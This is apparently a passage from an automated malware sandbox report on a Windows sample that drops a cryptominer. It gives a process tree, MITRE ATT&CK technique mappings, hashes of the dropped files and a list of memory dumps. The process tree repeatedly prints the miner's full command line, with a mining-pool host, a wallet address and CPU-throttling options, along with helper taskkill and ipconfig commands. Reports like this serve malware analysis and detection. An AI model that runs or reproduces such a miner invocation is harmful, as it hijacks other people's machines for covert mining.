  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:3912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4856
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3092
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:5864
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5920
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6020
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5960
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  PID:4436
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5992
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5936
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:6140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  PID:5928
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6016
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:6100
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:6092
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1612
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  PID:3092
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5812
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3296
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:5812
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:6124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  PID:5812
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6056
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2172
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:1956
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:3204
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spreadTpqrst.exe&&exit
  2⤵
  PID:4364
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spreadTpqrst.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1596
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:6112
- C:\ProgramData\spreadTpqrst.exe
  C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2036

C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
1⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
PID:5892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\SMB.exe

Filesize
3.1MB

MD5
7b2f170698522cd844e0423252ad36c1

SHA1
303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

SHA256
5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

SHA512
7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

Download Submit
C:\ProgramData\X64.dll

Filesize
85KB

MD5
c7fad963ad8e46e773dc5ee9177ab218

SHA1
92a68b223b2d2e501c1f0123fabf63e15fff4d11

SHA256
7417daf85e6215dedfd85ca8bfafcfd643c8afe0debcf983ad4bacdb4d1a6dbc

SHA512
efd3511ddf487e08515ff301fd8d521060f37ad8035e0c19fb5d9c730df444ced918596f54994d9d090c889a79ba3d431f96ae4fc942b0c4a8aa0c145a05419c

Download Submit
C:\ProgramData\X86.dll

Filesize
71KB

MD5
f2a0ae0a52b31fdd8697eca0b6a8ce28

SHA1
4d388fdf1dbfd2c0bfefc7c69455759bf62ee1b9

SHA256
b4bf443f7f1c8b6a307e541558c95626bb7cc82e90a963cf80bda6de33d7f9d5

SHA512
2bc1e27c0c38eb0da333cc60a3d45e79754d6eefae0638b4419b705daecebbf28d14dbae92ff8b8e5c3b349e5f7f81946829306d04b4c35a12e627fd5205c85e

Download Submit
C:\ProgramData\spreadTpqrst.exe

Filesize
1.3MB

MD5
23d84a7ed2e8e76d0a13197b74913654

SHA1
23d04ba674bafbad225243dc81ce7eccd744a35a

SHA256
ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

SHA512
aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

Download Submit
C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

Filesize
9.0MB

MD5
2d927fdb462570728a981443bf36d19f

SHA1
eb4f351d937729b14a196bf228ba12a2ff07e73e

SHA256
d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239

SHA512
efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9

Download Submit
memory/396-206-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/396-204-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/1372-157-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/1612-180-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/1916-141-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/2036-213-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/2172-201-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/3092-152-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/3296-184-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/3496-132-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/3496-137-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/3496-10-0x0000024A13F20000-0x0000024A13F34000-memory.dmp

Filesize
80KB

Download
memory/3496-8-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/4980-148-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/5832-176-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/5832-197-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/5936-169-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/5960-160-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/6112-210-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/6132-165-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/6132-163-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download
memory/6140-173-0x00007FF6ABEC0000-0x00007FF6AC504000-memory.dmp

Filesize
6.3MB

Download